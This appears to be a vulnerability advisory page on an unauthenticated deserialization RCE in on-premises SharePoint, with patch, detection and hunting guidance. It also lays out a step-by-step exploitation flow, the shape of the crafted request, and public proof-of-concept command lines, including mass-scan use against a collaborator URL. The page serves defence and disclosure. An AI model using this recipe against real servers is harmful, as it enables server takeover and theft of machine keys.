↓ Skip to main content
Purpleshift
  1. Active Vulnerability List/
  2. 2026/

CVE-2026-50522 | Sharepoint | RCE

FieldDetails
VulnerabilityCVE-2026-50522
SummaryAn unauthenticated, network-reachable .NET deserialization flaw in on-premises Microsoft SharePoint Server lets an attacker execute code as the SharePoint service account with a single crafted POST, scored CVSS v3.1 9.8 Critical. Microsoft patched it on 2026-07-14; a public PoC appeared days later, successful in-the-wild exploitation followed within hours, and CISA added it to KEV on 2026-07-22.
Type / CWEDeserialization of Untrusted Data leading to unauthenticated Remote Code Execution (RCE).
Weakness: CWE-502 (Deserialization of Untrusted Data), assigned by the Microsoft CNA and reflected on NVD.
Execution context: the IIS worker process (w3wp.exe) running under the SharePoint application pool / service account.
Affected Products & VersionsMicrosoft SharePoint Server, on-premises only, x64:
- SharePoint Enterprise Server 2016: 16.0.0 up to but not including 16.0.5561.1001
- SharePoint Server 2019: 16.0.0 up to but not including 16.0.10417.20175
- SharePoint Server Subscription Edition: 16.0.0 up to but not including 16.0.19725.20434
Microsoft’s advisory lists both “SharePoint Server 2016” and “SharePoint Enterprise Server 2016” entries for the 2016 line, covered by the same update.
NOT affected: SharePoint Online / Microsoft 365 (no cloud SharePoint product is listed as affected; the service is patched centrally), and any on-premises farm already at or above the fixed builds above.
Severity & ExploitabilityCVSS v3.1 Base 9.8 (CRITICAL), vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Microsoft also publishes a temporal score of 8.5 with /E:U/RL:O/RC:C.
- AV:N: exploitable over the network, including from the internet.
- AC:L: no special conditions or race required, and a single payload achieves repeatable success.
- PR:N: no account or credentials needed.
- UI:N: no user interaction, fully attacker driven.
- S:U: impact confined to the SharePoint / IIS security authority, so the score credits no cross-boundary escalation.
- C:H/I:H/A:H: total loss of confidentiality, integrity and availability of the server.
Score conflict (unresolved): the NVD entry carries the Microsoft CNA assessment (NIST has performed no independent analysis), while the ZDI advisory ZDI-26-412 scores the same bug 8.1 with AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H, i.e. Attack Complexity High. All parties agree on PR:N, S:U and C:H/I:H/A:H; only complexity is disputed. Observed mass exploitation within hours of PoC release is empirically more consistent with AC:L.
CVSS v4.0: not yet provided (NVD shows “Assessment not yet provided”; the CNA published only v3.1).
Exploit prediction: EPSS 0.84606, percentile 0.99684 (model date 2026-08-24). Microsoft’s Exploitability Index at publication was “Exploitation More Likely”.
DescriptionNVD / Microsoft CNA, verbatim: “Deserialization of untrusted data in Microsoft Office SharePoint allows an unauthorized attacker to execute code over a network.” ZDI advisory ZDI-26-412, verbatim: “This vulnerability allows remote attackers to execute arbitrary code on affected installations of Microsoft SharePoint. Authentication is not required to exploit this vulnerability."
Plain English: an attacker who can reach the SharePoint federated sign-in endpoint over HTTP sends a forged sign-in response whose embedded token blob is deserialized without adequate validation, turning a single unauthenticated request into code execution on the server.
A public PoC exists and is weaponised, including mass-scan tooling. Reported by researcher splitline (@splitline) of the DEVCORE Research Team through the Zero Day Initiative, out of Pwn2Own Berlin 2026; vendor notified 2026-05-21, CVE reserved 2026-06-04, published and fixed 2026-07-14, ZDI advisory 2026-07-15.
Root Cause & ExploitationRoot cause: the flaw is in the SessionSecurityTokenHandler class (Windows Identity Foundation), which SharePoint uses to read and reconstruct SessionSecurityToken objects during claims / federated sign-in. Validation of user supplied data before deserialization is insufficient, so attacker controlled bytes reach a legacy .NET BinaryFormatter deserialization path that reconstructs arbitrary object graphs, allowing a gadget chain to execute commands. Note: the component attribution comes from the coordinating disclosure body (ZDI); Microsoft has published no component-level detail or patch diff, and the endpoint and payload chain below are reconstructed from public PoC code and reporting, not from the vendor.
Network entry point: the WS-Federation passive sign-in endpoint /_trust/default.aspx, reached via the POST parameter wresult, with the payload carried in the Cookie element of a forged SecurityContextToken (namespace http://schemas.microsoft.com/ws/2006/05/security).
Execution Flow
1. Generate a .NET BinaryFormatter payload with ysoserial.net, using the TypeConfuseDelegate gadget chain and a chosen OS command.
2. DEFLATE compress the serialized bytes, then Base64 encode them (the form SharePoint’s token cookie path expects).
3. Embed the encoded blob as the Cookie value of a forged SecurityContextToken XML structure.
4. Wrap that token in a WS-Federation RequestSecurityTokenResponse envelope to form a fake federated sign-in response.
5. URL encode the envelope into wresult and POST it unauthenticated to /_trust/default.aspx.
6. SharePoint passes the attacker controlled cookie bytes to SessionSecurityTokenHandler, which deserializes them via BinaryFormatter without adequate validation.
7. The gadget chain fires during object graph reconstruction, executing the attacker’s command inside w3wp.exe as the SharePoint service account.
8. Observed follow-on: the same primitive reads the ASP.NET machineKey (ValidationKey and DecryptionKey) and returns it inline in the HTTP response, giving persistence that survives patching.
Representative request shape (structure is public; exact bytes are not reproduced in sources): POST /_trust/default.aspx with Content-Type: application/x-www-form-urlencoded, no authentication headers, body wa=wsignin1.0, wctx=<url>, wresult=<URL-encoded RequestSecurityTokenResponse containing a SecurityContextToken whose Cookie = Base64(DEFLATE(ysoserial.net BinaryFormatter TypeConfuseDelegate payload))>.
Public PoC invocation: python CVE-2026-50522.py -t http://10.10.10.5 -c http://YOUR_ID.oastify.com (single target) and python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com (mass scan), where -c supplies an out-of-band collaborator URL to confirm blind execution. Public PoC gadget chains also include ActivitySurrogateDisableTypeCheck plus ActivitySurrogateSelectorFromFile for the in-process compile used by the machine-key dump.
Impact & SignificanceC:H/I:H/A:H with S:U: full compromise of the SharePoint server and the content it serves, in the service account context. The attacker gains arbitrary command execution with no credentials and no user interaction, and thereby read and write access to every document and site on the farm.
The highest-consequence outcome is not the RCE itself but theft of the IIS / ASP.NET machine keys through the same single request. With ValidationKey and DecryptionKey in hand an attacker can forge valid __VIEWSTATE and authentication tokens and impersonate users, re-entering the environment through normal-looking requests even after the July 2026 update is installed. Microsoft’s stated position is that the security update fully mitigates the issue and that rotating machine keys further safeguards the environment; CISA and independent responders treat rotation plus artefact hunting as required, not optional.
NOT achievable from this CVE alone: S:U means the score credits no crossing of a privilege or security boundary beyond the SharePoint service context, so SYSTEM, domain or forest compromise requires additional post-exploitation steps outside this CVE. No confirmed ransomware use (CISA KEV records Unknown) and no named threat-actor attribution.
Why it matters: exposure is modest in count but concentrated in high-value estates. Roughly 1,500 internet-facing self-managed on-premises SharePoint instances were measured across the affected on-prem product set shared with CVE-2026-58644, predominantly SharePoint 2019, concentrated in the United States, then Germany, France, Canada, Iran and Australia. On-prem farms front internal document repositories and integrate with Active Directory, so a single compromised farm carries outsized data-access and lateral-movement value. This CVE also sits inside a dense July to August 2026 wave of exploited on-prem SharePoint bugs (CVE-2026-32201, CVE-2026-45659, CVE-2026-56164, CVE-2026-58644, CVE-2026-55040), so many farms faced several concurrent pre-auth paths at once.
Threat Activity / Abuse ScenariosConfirmed exploited in the wild. Activity is best characterised as opportunistic, commodity-PoC-driven mass scanning and exploitation of internet-facing on-prem SharePoint, starting within hours of public exploit availability, rather than a targeted attributable campaign. No authoritative source attributes this CVE to any named threat actor or group; comparisons drawn to the 2025 “ToolShell” SharePoint campaign are severity analogies, not attribution.
Timeline: 2026-05-14 to 2026-05-16 demonstrated at Pwn2Own Berlin 2026 (unauthenticated HTTP request to RCE on a default installation); 2026-05-21 vendor notified; 2026-07-14 Microsoft advisory and fixes, plus a CISA SharePoint hardening alert; 2026-07-15 ZDI advisory; 2026-07-17 honeypot traffic later attributed to this CVE, with captured requests carrying no authentication material; 2026-07-20 public PoC identified, with successful exploitation captured by a global honeypot network within hours; 2026-07-22 CISA KEV addition.
CISA KEV: added 2026-07-22, due date 2026-07-25 (an unusually short three-day window for FCEB agencies under BOD 26-04), knownRansomwareCampaignUse: Unknown, vulnerabilityName “Microsoft SharePoint Deserialization of Untrusted Data Vulnerability”.
Abuse scenarios:
1. Internet-facing farm takeover via one unauthenticated POST, no credentials, no user interaction.
2. Machine-key harvesting for patch-surviving persistence, the behaviour actually observed in the wild.
3. Post-RCE staging inside the enterprise: webshell drop, malware deployment and persistence, as described for this SharePoint wave generally.
4. Bulk document exfiltration from the compromised repository, following directly from C:H.
5. Credential and identity compromise downstream of a compromised farm. Note: the Swiss federal IT office (BIT / FOITT) breach of about 200 accounts is linked to this SharePoint patch cycle only as a suspicion, not a confirmed CVE-2026-50522 victim (see Caveats).
Detection & HuntingLog sources: IIS request logs and SharePoint ULS logs on every web front end, WAF / reverse-proxy logs, Windows Security event log (EID 4688), Microsoft Defender AV and AMSI events (EID 1116 / 1117), plus DNS, proxy and firewall egress logs.
Primary request-layer hunt (the only universal artefact): POST requests to /_trust/default.aspx whose body contains wa=wsignin1.0 together with a wresult value containing RequestSecurityTokenResponse and SecurityContextToken. Legitimate WS-Federation sign-in responses carry a signed SAML assertion, whereas the exploit carries a SecurityContextToken with a Base64 Cookie element: that is the discriminator.
Inferred: case-insensitive regexes over decoded request bodies, matched together rather than alone: (?i)wresult=.*SecurityContextToken, (?i)wresult=.*RequestSecurityTokenResponse, and, for the uncompressed payload variant only, (?i)AAEAAAD.
Response-status baselining: on farms with genuine federated sign-in volume, legitimate traffic to this endpoint is predominantly HTTP 302, so a non-302 response (200, 500, 400 when AMSI blocks, or a reset) to a POST on /_trust/default.aspx is anomalous; status alone does not confirm success. Note: this baseline and the AMSI blocking behaviour come from a single independent lab reconstruction, not vendor confirmed, and should be validated locally.
Inferred: further request pivots: unauthenticated source IP with no prior session, scripted or anomalous User-Agent, two POSTs in rapid succession to the same endpoint (the machine-key dump uses a preamble plus a main request), and an anomalously large response body, since stolen keys are returned inline.
Host and EDR behaviour: EID 4688 where the parent process is w3wp.exe and the child is cmd.exe, powershell.exe, whoami.exe, certutil.exe, csc.exe or conhost.exe; decode powershell.exe -EncodedCommand values straight from the command line (Base64 of UTF-16LE). Hunt for new or modified .aspx, .ashx, .asmx, .dll or web.config files under SharePoint web directories, notably unexpected .aspx in TEMPLATE\LAYOUTS; reflective or in-memory .NET assembly loading inside w3wp.exe; unexpected outbound connections from SharePoint servers; new admin accounts, altered permissions, new scheduled tasks and service changes.
Two detection gaps to plan around: (1) a variant that spawns powershell.exe directly with no cmd.exe hop defeats parent/child logic keyed on w3wp -> cmd -> powershell; (2) the machine-key disclosure variant runs entirely in-process and returns the keys in the HTTP response, producing no child process, no 4688, no AV event and no beacon, so host and process hunting alone will miss it and only the request-layer hunt or AMSI body scanning catches it.
Network and WAF coverage: Cloudflare’s WAF Managed Ruleset added a named rule “Microsoft SharePoint - Remote Code Execution - CVE:CVE-2026-50522” on 2026-08-04, with the default action moved from Log to Block. Cisco Talos shipped Snort coverage with the July 2026 Patch Tuesday and names this CVE as more likely to be exploited, but publishes only SID ranges (Snort 2 1:66733-1:66743, 1:66745-1:66785, 1:66791-1:66793, 1:66800-1:66807; Snort 3 1:301555-1:301579, 1:301581-1:301583) with no per-CVE mapping, so no individual SID can be asserted as coverage for this CVE. No Suricata / Emerging Threats, Palo Alto, Fortinet or Trend Micro signature ID for this CVE could be confirmed as published.
AMSI configuration governs whether you detect it at all: both the RCE and the key-dump chains deliver their payload in the POST body, so with request-body scanning off, or in default Balanced mode without /_trust/default.aspx targeted, the body is never inspected and nothing fires. CISA directs verifying AMSI integration per web application and selecting Full Mode for Request Body Scan Mode where feasible.
Hunt window: start no later than 2026-07-14 (public disclosure and patch), extend to at least 2026-07-17 for the first observed attempts, and reach further back if June cumulative updates were not applied.
IOCs & IndicatorsNo official Microsoft or CISA atomic IOC list exists for this CVE. The credible indicators are vulnerability-level request and payload patterns:
- URI and method: unauthenticated POST /_trust/default.aspx
- Body parameters: wa=wsignin1.0, wctx=<url>, wresult=<RequestSecurityTokenResponse>
- XML markers inside wresult: RequestSecurityTokenResponse, SecurityContextToken, <Cookie>, namespace http://schemas.microsoft.com/ws/2006/05/security
- Payload encoding: the Cookie value is Base64 of DEFLATE of a .NET BinaryFormatter stream
- Magic bytes: a raw BinaryFormatter stream begins 00 01 00 00 00, which Base64 encodes to the prefix AAEAAAD. Caveat: the canonical exploit DEFLATE compresses before Base64, so a naive AAEAAAD content match fires only on the uncompressed variant. Use it as one indicator, never the sole one.
- Literal strings worth matching in POST bodies to that endpoint: SecurityContextToken, BinaryFormatter
- Gadget chain names seen in public PoCs: TypeConfuseDelegate, ActivitySurrogateDisableTypeCheck, ActivitySurrogateSelectorFromFile
- Inferred: post-exploitation artefact: forged __VIEWSTATE, FedAuth or SecurityContextToken values appearing after the first-seen date, indicating reuse of stolen ValidationKey / DecryptionKey
- Out of scope here: attacker C2 IPs, domains, tool hashes and JA3/JA4 fingerprints are campaign dependent, no vendor has published a vetted set for this CVE, and none should be treated as an indicator of this vulnerability. See the threat-intel entries in References for campaign-specific reporting.
MITRE ATT&CKNo official ATT&CK mapping exists: NVD, the Microsoft advisory, the ZDI advisory and the CISA KEV entry all classify this CVE by CWE-502 only.
- T1190 Exploit Public-Facing Application (Initial Access): the technique of the vulnerability itself, an unauthenticated RCE against an internet-reachable SharePoint HTTP endpoint. Independently assigned to this CVE in third-party research.
- Inferred: T1552 Unsecured Credentials: the same single unauthenticated request can dump the farm ValidationKey and DecryptionKey inline in the HTTP response, so credential access is a property of this bug’s own primitive.
- Inferred: T1550 Use Alternate Authentication Material: the stolen machine keys let an attacker forge __VIEWSTATE, FedAuth or SecurityContextToken and retain access after patching, which is why key rotation is required.
Anything beyond these (execution, persistence and lateral-movement chains) is campaign dependent and out of scope for a vulnerability-level mapping.
Mitigation & StatusStatus: PATCHED, but patching alone is not sufficient remediation.
Fixed builds and KBs (July 2026 Patch Tuesday, released 2026-07-14):
- SharePoint Enterprise Server 2016: build 16.0.5561.1001 via KB5002891 (language independent) plus KB5002892 (language dependent)
- SharePoint Server 2019: build 16.0.10417.20175 via KB5002883 (language independent) plus KB5002885 (language dependent)
- SharePoint Server Subscription Edition: build 16.0.19725.20434 via KB5002882 (supersedes KB5002873)
Microsoft recommends installing the complete July 2026 cumulative update rather than the standalone security fix for 2016 and 2019, then running the SharePoint Products Configuration Wizard (PSConfig) after deploying binaries on all farm servers. Version checking is done against the MSRC Security Update Guide “Security Updates” table for the CVE and the per-KB support pages, which each state the resulting build. There is no separate numbered Microsoft advisory ID; MSRC tracks this by CVE ID.
Workaround: none, the update is the only fix. Microsoft published no registry or configuration toggle that neutralises the flaw. Compensating controls only:
- Configure AMSI integration per Microsoft guidance and deploy antivirus on all SharePoint servers, setting Request Body Scan Mode to Full Mode where feasible, since the payload rides in the POST body. AMSI requires Windows Server 2016 or later, SharePoint Subscription Edition 22H2 or later, SharePoint 2019 build 16.0.10396.20000 or later, SharePoint 2016 build 16.0.5391.1000 or later, and Defender engine 1.1.18300.4 or later or another AMSI-capable AV. AMSI has been a mandatory, non-deactivatable component since the September 2025 Public Update.
- If AMSI cannot be enabled, disconnect public-facing affected products from the internet. Deploy EDR against post-exploitation activity, place SharePoint behind an authenticating Layer 7 reverse proxy instead of exposing it directly, and block external access to SharePoint Central Administration.
Mandatory post-patch step, machine-key rotation: because exploitation steals ASP.NET machine keys, hunt for and remediate intrusion artefacts, including key harvesters, BEFORE rotating keys, so evidence is preserved and a resident attacker does not simply re-steal them. Rotate with Set-SPMachineKey -WebApplication <name> (optionally supplying 64-character hex -DecryptionKey and -ValidationKey) and propagate farm-wide with Update-SPMachineKey -WebApplication <name>; keys must be synchronised across all load-balanced servers or web sessions break. A weekly “Machine Key Rotation Job” timer job exists from Subscription Edition 25H1 and the September 2025 PU for 2016 and 2019, and can be forced from Central Administration, Monitoring, Review job definitions. Subscription Edition encrypts the web.config machineKey section by default. Plan an IISRESET or app-pool recycle around AMSI and key changes.
Configuration regressions to check during IR: SessionCookieTransformProtectionEnabled set to false, and the DisableActorTokenSignatureValidation debug flag, both of which re-open related token-handling paths (single-source researcher finding, verify locally).
CISA KEV due date: 2026-07-25, required action per BOD 26-04 (apply vendor mitigations, follow the applicable cloud guidance or discontinue use of the product if mitigations are unavailable, and evaluate each asset’s internet exposure). Treat any farm that was internet exposed and unpatched between 2026-07-14 and remediation as potentially compromised.
Caveats & Unknowns- The vendor advisory contradicts itself on authentication: the MSRC record scores PR:N and describes an “unauthorized attacker”, yet its FAQ text says an attacker “authenticated as at least a Site Owner” could execute code. ZDI states plainly that authentication is not required, and captured in-the-wild requests carried no authentication material. Treat this as pre-auth RCE; the Site Owner line reads as advisory boilerplate and has not been revised. News restatements of that same sentence are not independent corroboration.
- The severity split is unresolved: NVD’s CVSS record is sourced from Microsoft, so NVD and the CNA are one assessment, not two agreeing sources. The real state is a two-way split between 9.8 / AC:L (Microsoft) and 8.1 / AC:H (ZDI).
- Vendor exploitation flags are stale (checked 2026-08-25): as published on 2026-07-14 and never revised, MSRC still shows Exploited: No, Publicly Disclosed: No and temporal E:U (Unproven). Cite CISA KEV, not the MSRC flags, for exploitation status.
- No CVSS v4.0 assessment has been published, and NIST has performed no independent analysis of this CVE.
- Root-cause depth is limited: only ZDI names the affected class. The /_trust/default.aspx endpoint, the forged WS-Federation token and the BinaryFormatter chain come from PoC reporting, not from Microsoft, and no patch diff is public.
- Named AMSI and Defender detections are cluster-level, not per-CVE: Exploit:Script/SuspSignoutReqBody.A, Exploit:Script/ToolPaneAuthBypass.A, Exploit:Script/ToolPaneAuthBypass.C and Backdoor:MSIL/LeakFang.A!dha are published against a six-CVE SharePoint set that includes this one, but the ToolPane family is named for the 2025 ToolShell auth-bypass chain and a different endpoint. Do not treat their presence or absence as coverage for this CVE’s /_trust path. Exploit:Script/SpCookieExec.A and the Behavior:Win32/WebshellLauncher.A threat ID are single-source researcher observations that could not be confirmed in Microsoft’s threat encyclopedia.
- Build-header fingerprinting is unreliable: SharePoint advertises a build in the MicrosoftSharePointTeamServices response header, but for SharePoint 2019 and Subscription Edition the update changes only the revision component, which that header does not expose. Scanner templates comparing the header against the full fixed builds will misclassify hosts on two of the three product lines. Confirm patch state from the farm build, not from the header.
- Much of the deepest detection detail rests on one independent lab reconstruction (HTTP status baselining, AMSI targeted-endpoint behaviour, specific Defender threat IDs). It is mechanism consistent but uncorroborated by Microsoft, CISA or a second researcher, so validate locally before relying on it.
- Statistics are frequently transplanted between CVEs in this cluster: the ~1,500 exposure figure covers the on-prem product set shared with CVE-2026-58644, not this CVE alone, and other widely quoted exposure counts belong to CVE-2026-56164. Sources also disagree on whether this was the third or the fourth exploited SharePoint flaw of the wave; neither ordinal is established fact. A KEV add date of 2026-04-14 for CVE-2026-32201 circulates but could not be confirmed.
- The Swiss BIT / FOITT breach (about 200 user and technical accounts, detected 2026-07-28, disclosed early August 2026) is a suspected, not confirmed, victim of this CVE; the agency has not disclosed which flaw was used, and CVE-2026-56164 is an equally named suspect.
- No confirmed ransomware use (KEV records Unknown), no named actor attribution, no published victim count and no vendor IOC list exist for this CVE.
- A widely circulated pre-patch prerequisite for farms on the September 2025 CU (remove NT AUTHORITY\SYSTEM from the WSS_WPG and IIS_IUSRS local groups before installing) rests on a single non-vendor blog written by a Microsoft support engineer; it modifies production group membership, so verify it against the KB’s own installation notes first. Per-KB CVE tallies quoted in some coverage were inconsistent on re-reading and are omitted here.
- Support-lifecycle status for the SharePoint 2016 and 2019 lines was not addressed by any source in scope; confirm it against Microsoft’s lifecycle pages before planning a long-term patch strategy for those farms.
- All figures are time sensitive: NVD last modified 2026-07-23, the CVE record updated 2026-08-24, EPSS model date 2026-08-24, the CISA alert last revised 2026-08-18.
References- - https://nvd.nist.gov/vuln/detail/CVE-2026-50522
- https://www.cve.org/CVERecord?id=CVE-2026-50522
- https://cveawg.mitre.org/api/cve/CVE-2026-50522
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522
- https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2026-50522
- https://api.msrc.microsoft.com/cvrf/v3.0/document/2026-Jul
- https://support.microsoft.com/help/5002891
- https://support.microsoft.com/help/5002883
- https://support.microsoft.com/help/5002882
- https://learn.microsoft.com/en-us/sharepoint/security-for-sharepoint-server/configure-amsi-integration
- https://learn.microsoft.com/en-us/sharepoint/security-for-sharepoint-server/improved-asp-net-view-state-security-key-management
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-50522
- https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
- https://www.cisa.gov/news-events/alerts/2026/07/22/cisa-adds-two-known-exploited-vulnerabilities-catalog
- https://www.cisa.gov/news-events/alerts/2026/07/14/cisa-urges-sharepoint-hardening-after-new-exploitations
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://www.zerodayinitiative.com/advisories/ZDI-26-412/
- https://www.zerodayinitiative.com/blog/2026/5/16/pwn2own-berlin-2026-day-three-results-and-master-of-pwn